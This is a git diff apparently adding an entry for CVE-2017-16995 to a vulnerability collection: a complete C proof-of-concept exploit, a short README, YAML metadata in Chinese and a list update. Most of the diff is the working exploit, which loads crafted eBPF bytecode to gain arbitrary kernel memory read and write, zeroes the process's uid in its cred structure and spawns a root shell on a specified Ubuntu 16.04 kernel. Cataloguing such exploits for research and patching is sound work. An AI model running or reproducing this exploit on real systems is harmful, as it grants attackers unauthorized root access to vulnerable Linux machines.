diff --git a/cve/linux-kernel/2017/CVE-2017-16995/POC.c b/cve/linux-kernel/2017/CVE-2017-16995/POC.c new file mode 100644 index 0000000000000000000000000000000000000000..c88b6a11cb51501348b70904d6721d928a582760 --- /dev/null +++ b/cve/linux-kernel/2017/CVE-2017-16995/POC.c @@ -0,0 +1,247 @@ +/* + * Ubuntu 16.04.4 kernel priv esc + * + * all credits to @bleidl + * - vnik + */ + +// Tested on: +// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 +// if different kernel adjust CRED offset + check kernel stack size +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PHYS_OFFSET 0xffff880000000000 +#define CRED_OFFSET 0x5f8 +#define UID_OFFSET 4 +#define LOG_BUF_SIZE 65536 +#define PROGSIZE 328 + +int sockets[2]; +int mapfd, progfd; + +char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" + "\x55\x09\x02\x00\xff\xff\xff\xff" + "\xb7\x00\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x18\x19\x00\x00\x03\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x00\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x06\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x01\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x07\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x02\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x08\x00\x00\x00\x00\x00\x00" + "\xbf\x02\x00\x00\x00\x00\x00\x00" + "\xb7\x00\x00\x00\x00\x00\x00\x00" + "\x55\x06\x03\x00\x00\x00\x00\x00" + "\x79\x73\x00\x00\x00\x00\x00\x00" + "\x7b\x32\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x55\x06\x02\x00\x01\x00\x00\x00" + "\x7b\xa2\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x7b\x87\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00"; + +char bpf_log_buf[LOG_BUF_SIZE]; + +static int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) { + union bpf_attr attr = { + .prog_type = prog_type, + .insns = (__u64)insns, + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = (__u64)license, + .log_buf = (__u64)bpf_log_buf, + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); +} + +static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries) { + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +static int bpf_update_elem(uint64_t key, uint64_t value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (__u64)&key, + .value = (__u64)&value, + .flags = 0, + }; + + return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); +} + +static int bpf_lookup_elem(void *key, void *value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (__u64)key, + .value = (__u64)value, + }; + + return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); +} + +static void __exit(char *err) { + fprintf(stderr, "error: %s\n", err); + exit(-1); +} + +static void prep(void) { + mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); + if (mapfd < 0) + __exit(strerror(errno)); + + progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, + (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); + + if (progfd < 0) + __exit(strerror(errno)); + + if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) + __exit(strerror(errno)); + + if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) + __exit(strerror(errno)); +} + +static void writemsg(void) { + char buffer[64]; + + ssize_t n = write(sockets[0], buffer, sizeof(buffer)); + + if (n < 0) { + perror("write"); + return; + } + if (n != sizeof(buffer)) + fprintf(stderr, "short write: %lu\n", n); +} + +#define __update_elem(a, b, c) \ + bpf_update_elem(0, (a)); \ + bpf_update_elem(1, (b)); \ + bpf_update_elem(2, (c)); \ + writemsg(); + +static uint64_t get_value(int key) { + uint64_t value; + + if (bpf_lookup_elem(&key, &value)) + __exit(strerror(errno)); + + return value; +} + +static uint64_t __get_fp(void) { + __update_elem(1, 0, 0); + + return get_value(2); +} + +static uint64_t __read(uint64_t addr) { + __update_elem(0, addr, 0); + + return get_value(2); +} + +static void __write(uint64_t addr, uint64_t val) { + __update_elem(2, addr, val); +} + +static uint64_t get_sp(uint64_t addr) { + return addr & ~(0x4000 - 1); +} + +static void pwn(void) { + uint64_t fp, sp, task_struct, credptr, uidptr; + + fp = __get_fp(); + if (fp < PHYS_OFFSET) + __exit("bogus fp"); + + sp = get_sp(fp); + if (sp < PHYS_OFFSET) + __exit("bogus sp"); + + task_struct = __read(sp); + + if (task_struct < PHYS_OFFSET) + __exit("bogus task ptr"); + + printf("task_struct = %lx\n", task_struct); + + credptr = __read(task_struct + CRED_OFFSET); // cred + + if (credptr < PHYS_OFFSET) + __exit("bogus cred ptr"); + + uidptr = credptr + UID_OFFSET; // uid + if (uidptr < PHYS_OFFSET) + __exit("bogus uid ptr"); + + printf("uidptr = %lx\n", uidptr); + __write(uidptr, 0); // set both uid and gid to 0 + + if (getuid() == 0) { + printf("spawning root shell\n"); + system("/bin/bash"); + exit(0); + } + + __exit("not vulnerable?"); +} + +int main(int argc, char **argv) { + prep(); + pwn(); + + return 0; +} \ No newline at end of file diff --git a/cve/linux-kernel/2017/CVE-2017-16995/README.md b/cve/linux-kernel/2017/CVE-2017-16995/README.md new file mode 100644 index 0000000000000000000000000000000000000000..0059542bfa3770b844425b3a0f1fd127571cca96 --- /dev/null +++ b/cve/linux-kernel/2017/CVE-2017-16995/README.md @@ -0,0 +1 @@ +The check_alu_op function in kernel/bpf/verifier.c in the Linux kernel through 4.4 allows local users to cause a denial of service (memory corruption) or possibly have unspecified other impact by leveraging incorrect sign extension. \ No newline at end of file diff --git a/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml new file mode 100644 index 0000000000000000000000000000000000000000..aa193a6891f6f18cc84f7cad98ac561bb7a59da1 --- /dev/null +++ b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml @@ -0,0 +1,20 @@ +id: CVE-2017-16995 +source: https://www.openwall.com/lists/oss-security/2017/12/21/2 +info: + name: Linux内核是Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + Linux内核中kernel/bpf/verifier.c的check_alu_op函数在4.4之前允许本地用户通过利用不正确的符号扩展导致拒绝服务(内存损坏)或可能产生不明的其他影响。 + scope-of-influence: + linux_kernel >=4.4 + reference: + - https://nvd.nist.gov/vuln/detail/cve-2017-16995 + - https://github.com/C0dak/CVE-2017-16995 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2017-16995 + cwe-id: CWE-119 + cnvd-id: None + kve-id: None + tags: kernel, memory corruption \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index 614872af4aab23697aaa035e133164874393b6a6..8b89200bd3713f6a26388b7acf26823958bdb476 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -16,6 +16,7 @@ cve: - CVE-2018-18955 - CVE-2011-4917 - CVE-2011-4916 + - CVE-2017-16995 polkit: - CVE-2021-3560 Outlook: